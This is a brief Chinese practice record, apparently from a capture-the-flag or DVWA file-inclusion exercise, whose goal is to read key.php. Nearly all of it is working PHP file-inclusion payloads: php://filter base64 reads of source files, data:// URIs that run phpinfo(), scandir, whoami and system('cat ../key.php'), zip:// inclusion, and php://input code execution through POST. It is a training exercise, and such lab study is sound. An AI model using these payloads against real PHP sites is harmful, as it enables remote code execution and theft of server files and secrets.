本文仅当作练习记录使用。
开始答题,答案在根目录下的key.php文件中。
php://filter
可以访问本地的文件(通过指定末尾的文件,可以读取经base64编码后的文件源码,之后再base64解码一下就行)
php://filter/read=convert.base64-encode/resource=../key.php
data://
例如:?page=data://text/plain,<?php phpinfo();?>
?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
命令执行(php版本大于等于5.2,allow_url_include和allow_url_fopen都为on的状态)
查看当前目录下的文件
data://text/plain,<?php print_r(scandir(".")); ?>
查看当前上级目录下的文件
data://text/plain,<?php print_r(scandir("..")); ?>
查看key.php内容
data://text/plain,<?php @eval(system('cat%20../key.php')); ?>
data://text/plain,<?php system('cat%20../key.php'); ?>
查看当前用户权限
data://text/plain,<?php system(whoami) ?>
zip://可以访问本地压缩文件
只能传入绝对路径
要用#分隔压缩包和压缩包内的内容,并且#要用url编码%23例如:?page=zip://E:/phpStudy/WWW/DVWA/vulnerabilities/fi/3.zip%23test.txt
php://input这个协议的利用方法是 将要执行的语法php代码写在post中提交,不用键与值的形式,只写代码即可。
直接访问php://filter 读取本地文件
?page=php://filter/read=convert.base64-encode/resource=../key.php
因读取的文件经过base64加密需进行解密后得到key